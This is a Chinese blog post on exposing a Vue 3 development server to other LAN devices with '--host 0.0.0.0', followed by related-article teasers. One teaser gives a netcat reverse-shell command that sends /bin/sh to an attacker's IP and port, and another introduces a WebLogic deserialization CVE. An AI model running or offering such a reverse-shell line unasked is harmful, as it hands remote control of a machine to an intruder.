局域网内访问vue3项目|Network: use --host to expose

背景

我希望在相同的局域网内,通过手机访问我在Vue 3项目中展示的效果

遇到的问题

在这里插入图片描述

使用Vue CLI的–host选项实现局域网内的应用程序测试

当使用Vue CLI在本地提供服务时,通过使用 --host 选项,你可以指定要公开应用程序的主机。默认情况下,Vue CLI 提供的开发服务器只监听本地主机(localhost),这意味着只有在同一台计算机上的浏览器才能访问你的应用程序。通过指定一个公共的主机名,你可以使你的应用程序能够被网络中的其他设备访问,这对于在局域网中的其他设备上测试你的应用程序特别有用

解决方法

第一种方法

在这里插入图片描述
--host 0.0.0.0 选项告诉开发服务器监听所有的网络接口,而不仅仅是本地主机。这意味着你可以通过局域网中的其他设备来访问你正在开发的应用程序。【0.0.0.0 是一个特殊的 IP 地址,代表所有可能的 IP 地址。在网络编程中,它被用作通配符,表示在所有可用的网络接口上都监听】

第二种方法

在这里插入图片描述

效果:
在这里插入图片描述

同一局域网内设备访问

第一步:查看自己电脑的ip
在这里插入图片描述
第二步:
其他设备访问
在这里插入图片描述

注意

什么是同一局域网? 同一局域网是接在同一个交换机或者同一个集线器(HUB)或同一个路由器上的设备或者同一网段上的设备,局域网是指在某一区域内由多台计算机互联成的计算机组,同一局域网不一定要接同一个交换机或者HUB。

最常见的就是多个设备连同一个wifi,这样理解起来更简单。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/697464.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

纯福利|手把手教你如何白嫖免费的GPU资源(二)

大家好,我是无界生长。 前段时间写过一篇文章《纯福利|手把手教你如何白嫖免费的GPU资源(一)》,使用Google Colab提供的免费的GPU资源,今天接着写白嫖GPU资源攻略,可获得“长期免费的CPU实例资源…

ARM据称将开发AI芯片,计划在2025年秋季开始量产

KlipC报道:软银集团下的芯片设计公司ARM将成立一个AI芯片部门,目标在2025年推出首批产品。 ARM是日本软银旗下的公司,成立34年,一直在科技行业中扮演着不可或缺的角色。此次,ARM将承担初期开发成本,预计将…

Django模型进阶-多对多关系

在Django中,多对多(Many-to-Many)关系是一种数据库关系,表示一个模型的实例可以与另一个模型的多个实例相关联,同时另一个模型的实例也可以与这个模型的多个实例相关联。换句话说,就是两个模型之间可以存在…

无线网卡网络老断网

无线网卡网络老断网 设置 Intel AX210 无线网卡 路由器华为 AX3 问题及解决 问题 无线网卡连接到 wifi ,连接不通,或者连接上后网络很慢,延时大,掉包。 解决方案 调整如下界面,调整信道后,连接正常。…

netcat工具无法使用 -e 参数

当在linux中使用netcat进行反向连接时, nc -e /bin/sh 攻击者的IP 端口 有时会报这种错误: 这说明此netcat不支持 -e 参数。 此时可以做如下更改: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容&…

李飞飞团队关于2024年人工智能发展报告总结 (Artificial Intelligence Index Report)

目录 1 10大核心信息2 AI研究和发展2.1 核心要点2.2 核心对比信息2.3 模型是否会用尽数据2.4 基础模型发展2.5 训练模型成本 3 技术性能3.1 核心要点3.2 重要模型发布情况3.3 AI表现情况3.4 多学科、高难度评估集 (MMMU & GPQA & ARC)3.5 Agents3.6 RLHF & RLAIF3.…

免费思维13招之十:增值型思维

免费思维13招之十:增值型思维 免费思维的另一大战略思维——增值型思维。 为了提高客户的粘性而促进重复性消费,我们必须对客户进行免费的增值型服务。 大家不要把增值型思维与赠品型思维混淆,增值型思维重心在于提高与消费者的粘性而促进重复消费,重心在后端。而赠品型思…

C语言(指针)6

Hi~!这里是奋斗的小羊,很荣幸各位能阅读我的文章,诚请评论指点,关注收藏,欢迎欢迎~~ 💥个人主页:小羊在奋斗 💥所属专栏:C语言 本系列文章为个人学习笔记&#x…

Android 几种系统升级方式详解

目录 ◆ 概述 ● 几种启动模式 ● MISC分区 ● CACHE分区 ● 几种系统升级方式 ◆ Recovery升级 ● 升级包构成,签名,制作 ● 升级脚本 ● 升级过程 ◆ OTA升级 ● 升级包构成,制作 ● 升级脚本 ● 升级过程 ◆ fastboot升级 ◆ ADB升级 几…

【数据结构陈越版笔记】第1章 概述【习题】

1. 碎碎念 我这答案做的可能不对,如果不对,欢迎大家指出错误 2. 答案 1.1 判断正误 (1) N ( log N ) 2 N(\text{log}N)^{2} N(logN)2是 O ( N 2 ) O(N^{2}) O(N2)的。 (2) N 2 ( log N ) 2 N^{2}(\text…

Weblogic < 10.3.6 ‘wls-wsat‘ XMLDecoder 反序列化漏洞(CVE-2017-10271)

1 漏洞概述 CVE-2017-10271 是一个存在于 Oracle WebLogic Server 10.3.6 以下版本中的 XMLDecoder 反序列化漏洞。此漏洞源于 WebLogic 的 WLS-WebServices 核心组件,该组件使用 XMLDecoder 来解析用户传入的 XML 数据。由于 XMLDecoder 在处理某些特定格式的 XML…

Recommender ~ Collaborative filtering

Using per-item features User j 预测 movie i: Cost Function: 仅求和用户投票过的电影。 常规规范化(usual normalization):1/2m 正则化项:阻止过拟合 在知晓X的前提下,如何学习w,b参数…